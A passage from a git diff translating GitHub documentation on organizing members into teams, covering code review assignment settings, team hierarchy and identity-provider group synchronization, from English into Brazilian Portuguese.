-    * If your organization or enterprise account uses team synchronization, use the "Identity Provider Groups" drop-down menu, and select up to five identity provider groups to connect to the new team. For more information, see "[Synchronizing a team with an identity provider group](/organizations/organizing-members-into-teams/synchronizing-a-team-with-an-identity-provider-group)."
-    ![Drop-down menu to choose identity provider groups](/assets/images/help/teams/choose-an-idp-group.png)
+1. Opcionalmente, se sua conta da organização ou empresa usa a sincronização de equipes ou sua empresa usa {% data variables.product.prodname_emus %}, conecte um grupo do provedor de identidade à sua equipe.
+    * Se a sua empresa usar o {% data variables.product.prodname_emus %}, use o menu suspenso "Grupos de provedor de identidade" e selecione um único grupo de provedores de identidade para conectar-se à nova equipe. Para mais informações, consulte "[Gerenciar associações de equipe com grupos de provedor de identidade](/enterprise-cloud@latest/admin/authentication/managing-your-enterprise-users-with-your-identity-provider/managing-team-memberships-with-identity-provider-groups)".
+    * Se a conta da sua organização ou empresa usar a sincronização de equipe, use o menu suspenso "Grupos de provedor de identidade e selecione até cinco grupos de provedores de identidade para conectar-se à nova equipe. Para obter mais informações, consulte "[Sincronizando uma equipe com um grupo de provedores de identidade ](/organizations/organizing-members-into-teams/synchronizing-a-team-with-an-identity-provider-group)." ![Menu suspenso para escolher grupos de provedores de identidade](/assets/images/help/teams/choose-an-idp-group.png)
 {% endif %}
 {% data reusables.organizations.team_visibility %}
 {% data reusables.organizations.create_team %}
-1. Optionally, [give the team access to organization repositories](/articles/managing-team-access-to-an-organization-repository).
+1. Se desejar, [forneça à equipe acesso aos repositórios da organização](/articles/managing-team-access-to-an-organization-repository).
 
-## Further reading
+## Leia mais
 
-- "[About teams](/articles/about-teams)"
-- "[Changing team visibility](/articles/changing-team-visibility)"
-- "[Moving a team in your organization's hierarchy](/articles/moving-a-team-in-your-organization-s-hierarchy)"
+- "[Sobre equipes](/articles/about-teams)"
+- "[Alterar a visibilidade da equipe](/articles/changing-team-visibility)"
+- "[Mover uma equipe na hierarquia da organização](/articles/moving-a-team-in-your-organization-s-hierarchy)"
diff --git a/translations/pt-BR/content/organizations/organizing-members-into-teams/index.md b/translations/pt-BR/content/organizations/organizing-members-into-teams/index.md
index ebe04edd68..2c80ccf0a3 100644
--- a/translations/pt-BR/content/organizations/organizing-members-into-teams/index.md
+++ b/translations/pt-BR/content/organizations/organizing-members-into-teams/index.md
@@ -1,6 +1,6 @@
 ---
-title: Organizing members into teams
-intro: You can group organization members into teams that reflect your company or group's structure with cascading access permissions and mentions.
+title: Organizar integrantes em equipes
+intro: 'Você pode agrupar os integrantes da organização em equipes que reflitam sua empresa ou a estrutura do grupo, com permissões de acesso em cascata e menções.'
 redirect_from:
   - /articles/setting-up-teams-improved-organization-permissions
   - /articles/setting-up-teams-for-accessing-organization-repositories
@@ -37,6 +37,6 @@ children:
   - /disabling-team-discussions-for-your-organization
   - /managing-scheduled-reminders-for-your-team
   - /deleting-a-team
-shortTitle: Organize members into teams
+shortTitle: Organizar integrantes em equipes
 ---
 
diff --git a/translations/pt-BR/content/organizations/organizing-members-into-teams/managing-code-review-settings-for-your-team.md b/translations/pt-BR/content/organizations/organizing-members-into-teams/managing-code-review-settings-for-your-team.md
index 1430d9a82c..1726b5542a 100644
--- a/translations/pt-BR/content/organizations/organizing-members-into-teams/managing-code-review-settings-for-your-team.md
+++ b/translations/pt-BR/content/organizations/organizing-members-into-teams/managing-code-review-settings-for-your-team.md
@@ -1,6 +1,6 @@
 ---
-title: Managing code review settings for your team
-intro: You can decrease noise for your team by limiting notifications when your team is requested to review a pull request.
+title: Gerenciando configurações de revisão de código para sua equipe
+intro: Você pode diminuir o ruído para sua equipe limitando notificações quando se solicita que a sua equipe revise um pull request.
 redirect_from:
   - /github/setting-up-and-managing-organizations-and-teams/managing-code-review-assignment-for-your-team
   - /organizations/organizing-members-into-teams/managing-code-review-assignment-for-your-team
@@ -13,86 +13,78 @@ versions:
 topics:
   - Organizations
   - Teams
-shortTitle: Code review settings
+shortTitle: Configurações de revisão de código
 permissions: Team maintainers and organization owners can configure code review settings.
 ---
 
-## About code review settings
+## Sobre as configurações de revisão de código
 
 {% if only-notify-requested-members %}
-To reduce noise for your team and clarify individual responsibility for pull request reviews, you can configure code review settings.
+Para reduzir o ruído para sua equipe e esclarecer a responsabilidade individual pelas análises de pull requests, você pode definir as configurações de revisão de código.
 
-- Team notifications
-- Auto assignment
+- Notificações da equipe
+- Atribuição automática
 
-## About team notifications
+## Sobre as notificações da equipe
 
-When you choose to only notify requested team members, you disable sending notifications to the entire team when the team is requested to review a pull request if a specific member of that team is also requested for review. This is especially useful when a repository is configured with teams as code owners, but contributors to the repository often know a specific individual that would be the correct reviewer for their pull request. For more information, see "[About code owners](/github/creating-cloning-and-archiving-repositories/about-code-owners)."
+Ao optar por notificar apenas os integrantes da equipe solicitados, você não pode desabilitar o envio de notificações para toda a equipe quando se solicita que a equipe revise um pull request se for solicitado que um integrante específico dessa equipe também faça a revisão. Isso é especialmente útil quando um repositório é configurado com equipes como proprietários de códigos, mas os contribuidores do repositório geralmente conhecem um indivíduo específico que seria o revisor correto para o seu pull request. Para obter mais informações, consulte "[Sobre proprietários do código](/github/creating-cloning-and-archiving-repositories/about-code-owners)".
 
-## About auto assignment
+## Sobre atribuição automática
 {% endif %}
 
-When you enable auto assignment, any time your team has been requested to review a pull request, the team is removed as a reviewer and a specified subset of team members are assigned in the team's place. Code review assignments allow you to decide whether the whole team or just a subset of team members are notified when a team is requested for review.
+Ao habilitar a atribuição automática, qualquer momento em que for solicitado que a sua equipe revise um pull request, ela será removida como revisor e um subconjunto específico de integrantes da equipe será atribuído no lugar da equipe. As atribuições de revisão de código permitem que você decida se toda a equipe ou apenas um subconjunto dos seus integrantes serão notificados quando for solicitado que uma equipe faça a revisão.
 
-When code owners are automatically requested for review, the team is still removed and replaced with individuals unless a branch protection rule is configured to require review from code owners. If such a branch protection rule is in place, the team request cannot be removed and so the individual request will appear in addition.
+Quando se solicita que os proprietários do código façam a revisão automaticamente, a equipe ainda será removida e substituída por indivíduos, a menos que uma regra de proteção de branch esteja configurada que exija revisão dos proprietários de código. Se essa regra de proteção de ramificação estiver em vigor, a solicitação de equipe não poderá ser removida, fazendo com que a solicitação individual seja exibida.
 
 {% ifversion fpt %}
-To further enhance your team's collaboration abilities, you can upgrade to {% data variables.product.prodname_ghe_cloud %}, which includes features like protected branches and code owners on private repositories. {% data reusables.enterprise.link-to-ghec-trial %}
+Para desenvolver ainda mais as habilidades de colaboração da sua equipe, você pode fazer a atualização para {% data variables.product.prodname_ghe_cloud %}, que inclui funcionalidades como branches protegidos e proprietários de códigos em repositórios privados. {% data reusables.enterprise.link-to-ghec-trial %}
 {% endif %}
 
-### Routing algorithms
+### Encaminhar algoritmos
 
-Code review assignments automatically choose and assign reviewers based on one of two possible algorithms. 
+Escolha as atribuições de revisão de código e atribua os revisores automaticamente com base em um dos dois algoritmos possíveis.
 
-The round robin algorithm chooses reviewers based on who's received the least recent review request, focusing on alternating between all members of the team regardless of the number of outstanding reviews they currently have. 
+O algoritmo round robin (rotativo) escolhe os revisores com base em quem recebeu a solicitação de revisão menos recente e tem o foco em alternar entre todos os integrantes da equipe, independentemente do número de avaliações pendentes que possuem atualmente.
 
-The load balance algorithm chooses reviewers based on each member's total number of recent review requests and considers the number of outstanding reviews for each member. The load balance algorithm tries to ensure that each team member reviews an equal number of pull requests in any 30 day period.
+O algoritmo do balanço de carga escolhe os revisores com base no número total de solicitações de revisão recentes de cada integrante e considera o número de revisões pendentes para cada integrante. O algoritmo do balanço de carga tenta garantir que cada integrante da equipe revise um número igual de pull requests em qualquer período de 30 dias.
 
-Any team members that have set their status to "Busy" will not be selected for review. If all team members are busy, the pull request will remain assigned to the team itself. For more information about user statuses, see "[Setting a status](/account-and-profile/setting-up-and-managing-your-github-profile/customizing-your-profile/personalizing-your-profile#setting-a-status)."
+Todos os integrantes da equipe que definiram seu status como "Ocupado" não serão selecionados para revisão. Se todos os integrantes da equipe estiverem ocupados, o pull request permanecerá atribuído à própria equipe. Para obter mais informações sobre os status do usuário, consulte "[Configurando um status](/account-and-profile/setting-up-and-managing-your-github-profile/customizing-your-profile/personalizing-your-profile#setting-a-status)".
 
 {% if only-notify-requested-members %}
-## Configuring team notifications
+## Configurando notificações da equipe
 
 {% data reusables.profile.access_org %}
 {% data reusables.user_settings.access_org %}
 {% data reusables.organizations.specific_team %}
 {% data reusables.organizations.team_settings %}
-5. In the left sidebar, click **Code review**
-![Code review button](/assets/images/help/teams/review-button.png)
-2. Select **Only notify requested team members.**
-![Code review team notifications](/assets/images/help/teams/review-assignment-notifications.png)
-3. Click **Save changes**.
+5. Na barra lateral esquerda, clique em **Revisão de Código** ![Botão revisar código](/assets/images/help/teams/review-button.png)
+2. Selecione **Somente notificar os integrantes da equipe solicitados.** ![Notificações da equipe de revisão código](/assets/images/help/teams/review-assignment-notifications.png)
+3. Clique em **Save changes** (Salvar alterações).
 {% endif %}
 
-## Configuring auto assignment
+## Configurando atribuição automática
 {% data reusables.profile.access_org %}
 {% data reusables.user_settings.access_org %}
 {% data reusables.organizations.specific_team %}
 {% data reusables.organizations.team_settings %}
-5. In the left sidebar, click **Code review**
-![Code review button](/assets/images/help/teams/review-button.png)
-6. Select **Enable auto assignment**.
-![Auto-assignment button](/assets/images/help/teams/review-assignment-enable.png)
-7. Under "How many team members should be assigned to review?", use the drop-down menu and choose a number of reviewers to be assigned to each pull request.
-![Number of reviewers dropdown](/assets/images/help/teams/review-assignment-number.png)
-8. Under "Routing algorithm", use the drop-down menu and choose which algorithm you'd like to use. For more information, see "[Routing algorithms](#routing-algorithms)."
-![Routing algorithm dropdown](/assets/images/help/teams/review-assignment-algorithm.png)
-9. Optionally, to always skip certain members of the team, select **Never assign certain team members**. Then, select one or more team members you'd like to always skip.
-![Never assign certain team members checkbox and dropdown](/assets/images/help/teams/review-assignment-skip-members.png)
+5. Na barra lateral esquerda, clique em **Revisão de Código** ![Botão revisar código](/assets/images/help/teams/review-button.png)
+6. Selecione **Habilitar atribuição automática**. ![Botão de atribuição automática](/assets/images/help/teams/review-assignment-enable.png)
+7. Em "Quantos membros da equipe devem ser atribuídos para a revisão?, use o menu suspenso e escolha um número de revisores a serem atribuídos a cada pull request. ![Menu suspenso do número de revisores](/assets/images/help/teams/review-assignment-number.png)
+8. Em "Algoritmo de encaminhamento", use o menu suspenso e escolha qual algoritmo você gostaria de usar. Para obter mais informações, consulte "[Algoritmos de encaminhamento](#routing-algorithms)". ![Menu suspenso do algoritmo de encaminhamento](/assets/images/help/teams/review-assignment-algorithm.png)
+9. Opcionalmente, para sempre ignorar determinados membros da equipe, selecione **Nunca atribuir certos integrantes da equipe**. Em seguida, selecione um ou mais integrantes da equipe que você gostaria de ignorar sempre. ![Menu suspenso e caixa de seleção "Nunca atribuir certos integrantes da equipe"](/assets/images/help/teams/review-assignment-skip-members.png)
 {% ifversion fpt or ghec or ghae-issue-5108 or ghes > 3.2 %}
-11. Optionally, to include members of child teams as potential reviewers when assigning requests, select **Child team members**.
-12. Optionally, to count any members whose review has already been requested against the total number of members to assign, select **Count existing requests**.
-13. Optionally, to remove the review request from the team when assigning team members, select **Team review request**.
+11. Opcionalmente, para incluir integrantes de equipes secundárias como possíveis revisores ao atribuir pedidos, selecione **Integrantes da equipe secundária**.
+12. Opcionalmente, para contar todos os integrantes cuja avaliação já foi solicitada para o número total de integrantes a atribuir, selecione **Contar as solicitações existentes** existentes.
+13. Opcionalmente, para remover a solicitação de revisão da equipe ao atribuir integrantes da equipe, selecione **Pedido de revisão de equipe**.
 {%- else %}
-10. Optionally, to only notify the team members chosen by code review assignment for each pull review request, under "Notifications" select **If assigning team members, don't notify the entire team.**
+10. Opcionalmente, para notificar apenas os integrantes da equipe escolhidos pela atribuição de revisão de código para cada solicitação de revisão de pull request, em "Notificações", selecione **Ao atribuir integrantes da equipe, não notifique toda a equipe.**
 {%- endif %}
-14. Click **Save changes**.
+14. Clique em **Save changes** (Salvar alterações).
 
-## Disabling auto assignment
+## Desabilitando a atribuição automática
 {% data reusables.profile.access_org %}
 {% data reusables.user_settings.access_org %}
 {% data reusables.organizations.specific_team %}
 {% data reusables.organizations.team_settings %}
-5. Select **Enable auto assignment** to remove the checkmark.
-![Code review assignment button](/assets/images/help/teams/review-assignment-enable.png)
-6. Click **Save changes**.
+5. Selecione **Habilitar atribuição automática** para remover a marca. ![Botão da atribuição da revisão de código](/assets/images/help/teams/review-assignment-enable.png)
+6. Clique em **Save changes** (Salvar alterações).
diff --git a/translations/pt-BR/content/organizations/organizing-members-into-teams/moving-a-team-in-your-organizations-hierarchy.md b/translations/pt-BR/content/organizations/organizing-members-into-teams/moving-a-team-in-your-organizations-hierarchy.md
index 6386e39cc6..c801549a2b 100644
--- a/translations/pt-BR/content/organizations/organizing-members-into-teams/moving-a-team-in-your-organizations-hierarchy.md
+++ b/translations/pt-BR/content/organizations/organizing-members-into-teams/moving-a-team-in-your-organizations-hierarchy.md
@@ -1,6 +1,6 @@
 ---
-title: Moving a team in your organization’s hierarchy
-intro: 'Team maintainers and organization owners can nest a team under a parent team, or change or remove a nested team''s parent.'
+title: Movendo uma equipe na hierarquia da organização
+intro: 'Mantenedores de equipes e proprietários de organizações podem encaixar uma equipe abaixo de uma equipe principal, ou ainda, alterar ou remover uma principal da equipe aninhada.'
 redirect_from:
   - /articles/changing-a-team-s-parent
   - /articles/moving-a-team-in-your-organization-s-hierarchy
@@ -14,34 +14,31 @@ versions:
 topics:
   - Organizations
   - Teams
-shortTitle: Move a team
+shortTitle: Mover uma equipe
 ---
 
-Organization owners can change the parent of any team. Team maintainers can change a team's parent if they are maintainers in both the child team and the parent team. Team maintainers without maintainer permissions in the child team can request to add a parent or child team. For more information, see "[Requesting to add or change a parent team](/articles/requesting-to-add-or-change-a-parent-team)" and "[Requesting to add a child team](/articles/requesting-to-add-a-child-team)."
+Proprietários de organizações podem mudar a principal de qualquer equipe. Mantenedores de equipes podem alterar a principal de uma equipe se forem mantenedores da equipe secundária e da equipe principal. Mantenedores de equipe sem permissões de mantenedor na equipe secundária podem solicitar para adicionar uma equipe principal ou secundária. Para obter mais informações, consulte "[Solicitar adição ou alteraração de uma equipe principal](/articles/requesting-to-add-or-change-a-parent-team)" e "[Solicitar adição de uma equipe secundária](/articles/requesting-to-add-a-child-team)".
 
 {% data reusables.organizations.child-team-inherits-permissions %}
 
 {% tip %}
 
-**Tips:**
-- You cannot change a team's parent to a secret team. For more information, see "[About teams](/articles/about-teams)."
-- You cannot nest a parent team beneath one of its child teams.
+**Dicas:**
+- Você não pode alterar uma equipe principal para equipe secreta. Para obter mais informações, consulte "[Sobre equipes](/articles/about-teams)".
+- Você não pode encaixar uma equipe principal sob uma de suas equipes secundárias.
 
 {% endtip %}
 
 {% data reusables.profile.access_org %}
 {% data reusables.user_settings.access_org %}
 {% data reusables.organizations.teams %}
-4. In the list of teams, click the name of the team whose parent you'd like to change.
-  ![List of the organization's teams](/assets/images/help/teams/click-team-name.png)
+4. Na lista de equipes, clique no nome da equipe cuja principal você deseja alterar. ![Lista das equipes da organização](/assets/images/help/teams/click-team-name.png)
 {% data reusables.organizations.team_settings %}
-6. Use the drop-down menu to choose a parent team, or to remove an existing parent, select **Clear selected value**.
-  ![Drop-down menu listing the organization's teams](/assets/images/help/teams/choose-parent-team.png)
-7. Click **Update**.
+6. Use o menu suspenso para escolher uma equipe principal ou para remover uma principal existente e selecione **Clear selected value** (Limpar valor selecionado). ![Menu suspenso listando as equipes da organização](/assets/images/help/teams/choose-parent-team.png)
+7. Clique em **Atualizar**.
 {% data reusables.repositories.changed-repository-access-permissions %}
-9. Click **Confirm new parent team**.
-  ![Modal box with information about the changes in repository access permissions](/assets/images/help/teams/confirm-new-parent-team.png)
+9. Clique em **Confirm new parent team** (Confirmar nova equipe principal). ![Caixa de diálogo modal com informações sobre as alterações nas permissões de acesso ao repositório](/assets/images/help/teams/confirm-new-parent-team.png)
 
-## Further reading
+## Leia mais
 
-- "[About teams](/articles/about-teams)"
+- "[Sobre equipes](/articles/about-teams)"
diff --git a/translations/pt-BR/content/organizations/organizing-members-into-teams/removing-organization-members-from-a-team.md b/translations/pt-BR/content/organizations/organizing-members-into-teams/removing-organization-members-from-a-team.md
index aba9635cbe..6b8bd832e2 100644
--- a/translations/pt-BR/content/organizations/organizing-members-into-teams/removing-organization-members-from-a-team.md
+++ b/translations/pt-BR/content/organizations/organizing-members-into-teams/removing-organization-members-from-a-team.md
@@ -1,6 +1,6 @@
 ---
-title: Removing organization members from a team
-intro: 'People with *owner* or *team maintainer* permissions can remove team members from a team. This may be necessary if a person no longer needs access to a repository the team grants, or if a person is no longer focused on a team''s projects.'
+title: Remover integrantes da organização de uma equipe
+intro: Os usuários com permissões de *proprietário* ou *mantenedor de equipe* podem remover integrantes de uma equipe. Isso pode ser necessário se um usuário não precisar mais acessar um repositório ao qual a equipe tem acesso ou se um usuário deixar de participar dos projetos de uma equipe.
 redirect_from:
   - /articles/removing-organization-members-from-a-team-early-access-program
   - /articles/removing-organization-members-from-a-team
@@ -13,15 +13,13 @@ versions:
 topics:
   - Organizations
   - Teams
-shortTitle: Remove members
+shortTitle: Remover integrantes
 ---
 
-{% data reusables.repositories.deleted_forks_from_private_repositories_warning %}  
+{% data reusables.repositories.deleted_forks_from_private_repositories_warning %}
 
 {% data reusables.profile.access_org %}
 {% data reusables.user_settings.access_org %}
 {% data reusables.organizations.specific_team %}
-4. Select the person or people you'd like to remove.
-  ![Check box next to organization member](/assets/images/help/teams/team-member-check-box.png)
-5. Above the list of team members, use the drop-down menu and click **Remove from team**.
-  ![Drop-down menu with option to change role](/assets/images/help/teams/bulk-edit-drop-down.png)
+4. Selecione um ou mais integrantes que deseja remover. ![Caixa de seleção ao lado de integrante de organização](/assets/images/help/teams/team-member-check-box.png)
+5. Use o menu suspenso acima da lista de integrantes da equipe e clique em **Remove from team** (Remover da equipe). ![Menu suspenso com opção change role (alterar função)](/assets/images/help/teams/bulk-edit-drop-down.png)
diff --git a/translations/pt-BR/content/organizations/organizing-members-into-teams/synchronizing-a-team-with-an-identity-provider-group.md b/translations/pt-BR/content/organizations/organizing-members-into-teams/synchronizing-a-team-with-an-identity-provider-group.md
index 1e2fc70a8f..cdcacb1785 100644
--- a/translations/pt-BR/content/organizations/organizing-members-into-teams/synchronizing-a-team-with-an-identity-provider-group.md
+++ b/translations/pt-BR/content/organizations/organizing-members-into-teams/synchronizing-a-team-with-an-identity-provider-group.md
@@ -1,6 +1,6 @@
 ---
-title: Synchronizing a team with an identity provider group
-intro: 'You can synchronize a {% data variables.product.product_name %} team with an identity provider (IdP) group to automatically add and remove team members.'
+title: Sincronizar uma equipe com um grupo de provedor de identidade
+intro: 'Você pode sincronizar uma equipe do {% data variables.product.product_name %} com um grupo de provedor de identidade (IdP) para adicionar e remover automaticamente os integrantes da equipe.'
 redirect_from:
   - /github/setting-up-and-managing-organizations-and-teams/synchronizing-a-team-with-an-identity-provider-group
 permissions: 'Organization owners and team maintainers can synchronize a {% data variables.product.prodname_dotcom %} team with an IdP group.'
@@ -10,95 +10,90 @@ versions:
 topics:
   - Organizations
   - Teams
-shortTitle: Synchronize with an IdP
+shortTitle: Sincronizar com um IdP
 ---
 
 {% data reusables.enterprise-accounts.emu-scim-note %}
 
-## About team synchronization
+## Sobre a sincronização de equipes
 
 {% data reusables.identity-and-permissions.about-team-sync %}
 
-{% ifversion ghec %}You can connect up to five IdP groups to a {% data variables.product.product_name %} team.{% elsif ghae %}You can connect a team on {% data variables.product.product_name %} to one IdP group. All users in the group are automatically added to the team and also added to the parent organization as members. When you disconnect a group from a team, users who became members of the organization via team membership are removed from the organization.{% endif %} You can assign an IdP group to multiple {% data variables.product.product_name %} teams.
+{% ifversion ghec %}Você pode conectar até cinco grupos de IdP a uma equipe de {% data variables.product.product_name %}.{% elsif ghae %}Você pode conectar uma equipe em {% data variables.product.product_name %} a um grupo de IdP. Todos os usuários do grupo são automaticamente adicionados à equipe e também adicionados à organização principal como integrantes. Ao desconectar um grupo de uma equipe, os usuários que se tornaram integrantes da organização por meio da associação da equipe serão removidos da organização.{% endif %} Você pode atribuir um grupo de IdP a várias equipes de {% data variables.product.product_name %}.
 
-{% ifversion ghec %}Team synchronization does not support IdP groups with more than 5000 members.{% endif %}
+{% ifversion ghec %}A sincronização de equipes não é compatível com grupos de IdP com mais de 5000 integrantes.{% endif %}
 
-Once a {% data variables.product.prodname_dotcom %} team is connected to an IdP group, your IdP administrator must make team membership changes through the identity provider. You cannot manage team membership on {% data variables.product.product_name %}{% ifversion ghec %} or using the API{% endif %}.
+Uma vez que uma equipe do {% data variables.product.prodname_dotcom %} está conectada a um grupo de IdP, o administrador do IdP deve efetuar as alterações da associação da equipe por meio do provedor de identidade. Você não pode gerenciar a associação da equipe em {% data variables.product.product_name %}{% ifversion ghec %} ou usando a API{% endif %}.
 
 {% ifversion ghec %}{% data reusables.enterprise-accounts.team-sync-override %}{% endif %}
 
 {% ifversion ghec %}
-All team membership changes made through your IdP will appear in the audit log on {% data variables.product.product_name %} as changes made by the team synchronization bot. Your IdP will send team membership data to {% data variables.product.prodname_dotcom %} once every hour.
-Connecting a team to an IdP group may remove some team members. For more information, see "[Requirements for members of synchronized teams](#requirements-for-members-of-synchronized-teams)."
+Todas as alterações de membros da equipe feitas através do seu IdP aparecerão no log de auditoria do {% data variables.product.product_name %} como alterações feitas pelo bot de sincronização de equipe. Seu IdP enviará dados de membros da equipe para {% data variables.product.prodname_dotcom %} uma vez a cada hora. A conexão de uma equipe a um grupo de IdP pode remover alguns integrantes da equipe. Para obter mais informações, consulte "[Requisitos para integrantes de equipes sincronizadas](#requirements-for-members-of-synchronized-teams)".
 {% endif %}
 
 {% ifversion ghae %}
-When group membership changes on your IdP, your IdP sends a SCIM request with the changes to {% data variables.product.product_name %} according to the schedule determined by your IdP. Any requests that change {% data variables.product.prodname_dotcom %} team or organization membership will register in the audit log as changes made by the account used to configure user provisioning. For more information about this account, see "[Configuring user provisioning for your enterprise](/admin/authentication/configuring-user-provisioning-for-your-enterprise)." For more information about SCIM request schedules, see "[Check the status of user provisioning](https://docs.microsoft.com/en-us/azure/active-directory/app-provisioning/application-provisioning-when-will-provisioning-finish-specific-user)" in the Microsoft Docs.
+Quando o membro do grupo for alterado no seu IdP, este enviará uma solicitação SCIM com as alterações para {% data variables.product.product_name %} de acordo com o agendamento determinado pelo seu IdP. Qualquer solicitação que altere a equipe de {% data variables.product.prodname_dotcom %} equipe ou associação da organização será registrada no log de auditoria como alterações feitas pela conta usada para configurar provisionamento do usuário. Para obter mais informações sobre essa conta, consulte "[Configurar o provisionamento de usuários para sua empresa](/admin/authentication/configuring-user-provisioning-for-your-enterprise)". Para obter mais informações sobre o agendamento de pedidos do SCIM, consulte "[Verificar o status do provisionamento do usuário](https://docs.microsoft.com/en-us/azure/active-directory/app-provisioning/application-provisioning-when-will-provisioning-finish-specific-user)" na documentação da Microsoft.
 {% endif %}
 
-Parent teams cannot synchronize with IdP groups. If the team you want to connect to an IdP group is a parent team, we recommend creating a new team or removing the nested relationships that make your team a parent team. For more information, see "[About teams](/articles/about-teams#nested-teams)," "[Creating a team](/organizations/organizing-members-into-teams/creating-a-team)," and "[Moving a team in your organization's hierarchy](/articles/moving-a-team-in-your-organizations-hierarchy)."
+As equipes principais não podem sincronizar com grupos de IdP. Se a equipe que você deseja conectar a um grupo IdP for uma equipe principal, recomendamos criar uma equipe nova ou remover as relações aninhadas que fazem da sua equipe uma equipe principal. Para obter mais informações, consulte "[Sobre as equipes](/articles/about-teams#nested-teams)"[Criar uma equipe](/organizations/organizing-members-into-teams/creating-a-team), e "[Mover uma equipe para a hierarquia da sua organização](/articles/moving-a-team-in-your-organizations-hierarchy)
 
-To manage repository access for any {% data variables.product.prodname_dotcom %} team, including teams connected to an IdP group, you must make changes with {% data variables.product.product_name %}. For more information, see "[About teams](/articles/about-teams)" and "[Managing team access to an organization repository](/articles/managing-team-access-to-an-organization-repository)." 
+Para gerenciar o acesso ao repositório de qualquer equipe do {% data variables.product.prodname_dotcom %} incluindo equipes conectadas a um grupo de IdP, você deve fazer alterações com o {% data variables.product.product_name %}. Para obter mais informações, consulte "[Sobre equipes](/articles/about-teams)" e "[Gerenciar o acesso da equipe ao repositório de uma organização](/articles/managing-team-access-to-an-organization-repository)".
 
-{% ifversion ghec %}You can also manage team synchronization with the API. For more information, see "[Team synchronization](/rest/reference/teams#team-sync)."{% endif %}
+{% ifversion ghec %}Você também pode gerenciar a sincronização de equipes com a API. Para obter mais informações, consulte "[Sincronização de equipe](/rest/reference/teams#team-sync)".{% endif %}
 
 {% ifversion ghec %}
-## Requirements for members of synchronized teams
+## Requisitos para integrantes de equipes sincronizadas
 
-After you connect a team to an IdP group, team synchronization will add each member of the IdP group to the corresponding team on {% data variables.product.product_name %} only if:
-- The person is a member of the organization on {% data variables.product.product_name %}.
-- The person has already logged in with their user account on {% data variables.product.product_name %} and authenticated to the organization or enterprise account via SAML single sign-on at least once.
-- The person's SSO identity is a member of the IdP group.  
+Após conectar uma equipe a um grupo de IdP, a sincronização da equipe adicionará cada integrante do grupo IdP à equipe correspondente em {% data variables.product.product_name %} apenas se:
+- A pessoa for integrante da organização em {% data variables.product.product_name %}.
+- A pessoa já efetuou o login com sua conta de usuário em {% data variables.product.product_name %} e efetuou a autenticação na conta corporativa ou corporativa via logon único SAML pelo menos uma vez.
+- A identidade SSO da pessoa é um integrante do grupo IdP.
 
-Existing teams or group members who do not meet these criteria will be automatically removed from the team on {% data variables.product.product_name %} and lose access to repositories. Revoking a user's linked identity will also remove the user from from any teams mapped to IdP groups. For more information, see "[Viewing and managing a member's SAML access to your organization](/organizations/granting-access-to-your-organization-with-saml-single-sign-on/viewing-and-managing-a-members-saml-access-to-your-organization#viewing-and-revoking-a-linked-identity)" and "[Viewing and managing a user's SAML access to your enterprise](/enterprise-cloud@latest/admin/user-management/managing-users-in-your-enterprise/viewing-and-managing-a-users-saml-access-to-your-enterprise#viewing-and-revoking-a-linked-identity)."
+As equipes ou integrantes de grupo que não atenderem a esses critérios serão automaticamente removidos da equipe em {% data variables.product.product_name %} e perderão o acesso aos repositórios. Revogar a identidade vinculada a um usuário também removerá o usuário de quaisquer equipes mapeadas com os grupos de IdP. Para obter mais informações, consulte "[Visualizando e gerenciando o acesso do SAML de um membro da sua organização](/organizations/granting-access-to-your-organization-with-saml-single-sign-on/viewing-and-managing-a-members-saml-access-to-your-organization#viewing-and-revoking-a-linked-identity)" e "[Visualizando e gerenciando o acesso do SAML de um usuário da sua organização](/enterprise-cloud@latest/admin/user-management/managing-users-in-your-enterprise/viewing-and-managing-a-users-saml-access-to-your-enterprise#viewing-and-revoking-a-linked-identity)."
 
-A removed team member can be added back to a team automatically once they have authenticated to the organization or enterprise account using SSO and are moved to the connected IdP group.
+Um integrante removido da equipe pode ser adicionado de volta a uma equipe automaticamente após efetuar a autenticação na conta da organização ou na conta corporativa usando SSO e será movidos para o grupo de IdP conectado.
 
-To avoid unintentionally removing team members, we recommend enforcing SAML SSO in your organization or enterprise account, creating new teams to synchronize membership data, and checking IdP group membership before synchronizing existing teams. For more information, see "[Enforcing SAML single sign-on for your organization](/articles/enforcing-saml-single-sign-on-for-your-organization)" and "[Configuring SAML single sign-on for your enterprise](/enterprise-cloud@latest/admin/authentication/managing-identity-and-access-for-your-enterprise/configuring-saml-single-sign-on-for-your-enterprise)."
+Para evitar a remoção involuntária dos integrantes da equipe, recomendamos a aplicar SSO SAML na conta da organização ou da empresa. criar novas equipes para sincronizar dados da associação e verificar a associação de grupo de IdP antes de sincronizar as equipes existentes. Para mais informações, consulte "[Aplicar logon único SAML para a sua organização](/articles/enforcing-saml-single-sign-on-for-your-organization)" e "[Configurando o logon único SAML para organizações na sua empresa](/enterprise-cloud@latest/admin/authentication/managing-identity-and-access-for-your-enterprise/configuring-saml-single-sign-on-for-your-enterprise)".
 
 {% endif %}
 
-## Prerequisites
+## Pré-requisitos
 
 {% ifversion ghec %}
-Before you can connect a {% data variables.product.product_name %} team with an identity provider group, an organization or enterprise owner must enable team synchronization for your organization or enterprise account. For more information, see "[Managing team synchronization for your organization](/organizations/managing-saml-single-sign-on-for-your-organization/managing-team-synchronization-for-your-organization)" and "[Managing team synchronization for organizations in your enterprise account](/enterprise-cloud@latest/admin/authentication/managing-identity-and-access-for-your-enterprise/managing-team-synchronization-for-organizations-in-your-enterprise)."
+Antes de você poder conectar uma equipe de {% data variables.product.product_name %} a um grupo de provedores de identidade, uma organização ou proprietário da empresa deverá habilitar a sincronização de equipes para a sua organização ou conta corporativa. Para mais informações, consulte "[Gerenciando a sincronização de equipes para a sua organização](/organizations/managing-saml-single-sign-on-for-your-organization/managing-team-synchronization-for-your-organization)" e "[Gerenciando a sincronização de equipes para organizações na sua conta corporativa](/enterprise-cloud@latest/admin/authentication/managing-identity-and-access-for-your-enterprise/managing-team-synchronization-for-organizations-in-your-enterprise)".
 
-To avoid unintentionally removing team members, visit the administrative portal for your IdP and confirm that each current team member is also in the IdP groups that you want to connect to this team. If you don't have this access to your identity provider, you can reach out to your IdP administrator.
+Para evitar a remoção involuntária dos integrantes da equipe, visite o portal administrativo do seu IdP e confirme se cada integrante atual da equipe está também nos grupos de IdP aos quais você deseja conectar a esta equipe. Se você não tiver acesso ao provedor de identidade, entre em contato com o administrador do IdP.
 
-You must authenticate using SAML SSO. For more information, see "[Authenticating with SAML single sign-on](/articles/authenticating-with-saml-single-sign-on)."
+Você deve efetuar a autenticação usando SAML SSO. Para obter mais informações, consulte "[Autenticar com logon único de SAML](/articles/authenticating-with-saml-single-sign-on)".
 
 {% elsif ghae %}
